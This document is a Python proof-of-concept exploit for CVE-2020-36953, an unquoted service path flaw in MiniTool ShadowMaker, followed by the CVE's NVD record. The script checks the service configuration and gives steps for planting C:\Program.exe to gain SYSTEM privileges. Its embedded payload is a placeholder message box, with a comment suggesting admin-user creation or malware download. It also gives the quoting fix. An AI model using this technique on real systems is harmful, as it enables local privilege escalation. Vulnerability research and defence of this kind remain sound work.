CVE-2020-36953

# CVE-2020-36953 PoC - MiniTool ShadowMaker Unquoted Service Path # Author: Security Researcher # Description: Exploit unquoted service path in MiniTool ShadowMaker MTAgentService import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target system is vulnerable""" service_name = "MTAgentService" service_path = r"C:\Program Files\MiniTool ShadowMaker\AgentService.exe" try: # Check if service exists result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if "BINARY_PATH_NAME" in result.stdout: print(f"[+] Service '{service_name}' found") if "Program Files" in result.stdout and '"' not in result.stdout: print("[+] Service is vulnerable - unquoted path detected") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed at unquoted path location""" malicious_path = r"C:\Program.exe" # Create a simple malicious executable (reverse shell or payload) # This is a placeholder - actual attack would use compiled malware payload_code = ''' #include <windows.h> #include <stdio.h> int main() { // Add your payload here (e.g., create admin user, download malware, etc.) MessageBox(NULL, "Privilege Escalation Triggered", "CVE-2020-36953", MB_OK); // Execute original service system("C:\\\\Program Files\\\\MiniTool ShadowMaker\\\\AgentService.exe"); return 0; } ''' print("[*] Note: This PoC demonstrates the vulnerability concept") print(f"[*] Malicious executable should be placed at: {malicious_path}") print("[*] When MTAgentService starts, it will execute C:\\Program.exe first") return malicious_path def exploit(): """Main exploit function""" if not check_vulnerability(): print("[-] Target is not vulnerable or service not found") return False malicious_path = create_malicious_executable() # In a real attack, attacker would need to place malware at C:\Program.exe # This requires write access to C:\ drive (often available to low-privilege users) print("\n[!] Exploitation steps:") print(f"1. Place malicious executable at: {malicious_path}") print("2. Wait for service restart or system reboot") print("3. Malicious code executes with SYSTEM privileges") print("\n[*] For defense: Quote the service path in registry") print(' sc config MTAgentService binpath= "C:\\Program Files\\MiniTool ShadowMaker\\AgentService.exe"') return True if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2020-36953", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:25.580", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "MiniTool ShadowMaker 3.2 contains an unquoted service path vulnerability in the MTAgentService that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted path in 'C:\\Program Files\\MiniTool ShadowMaker\\AgentService.exe' to inject malicious executables and escalate privileges."}, {"lang": "es", "value": "MiniTool ShadowMaker 3.2 contiene una vulnerabilidad de ruta de servicio sin comillas en el MTAgentService que permite a atacantes locales ejecutar potencialmente código arbitrario. Los atacantes pueden explotar la ruta sin comillas en 'C:\\Program Files\\MiniTool ShadowMaker\\AgentService.exe' para inyectar ejecutables maliciosos y escalar privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49336", "source": "[email protected]"}, {"url": "https://www.minitool.com", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/minitool-shadowmaker-mtagentservice-unquoted-service-path", "source": "[email protected]"}]}}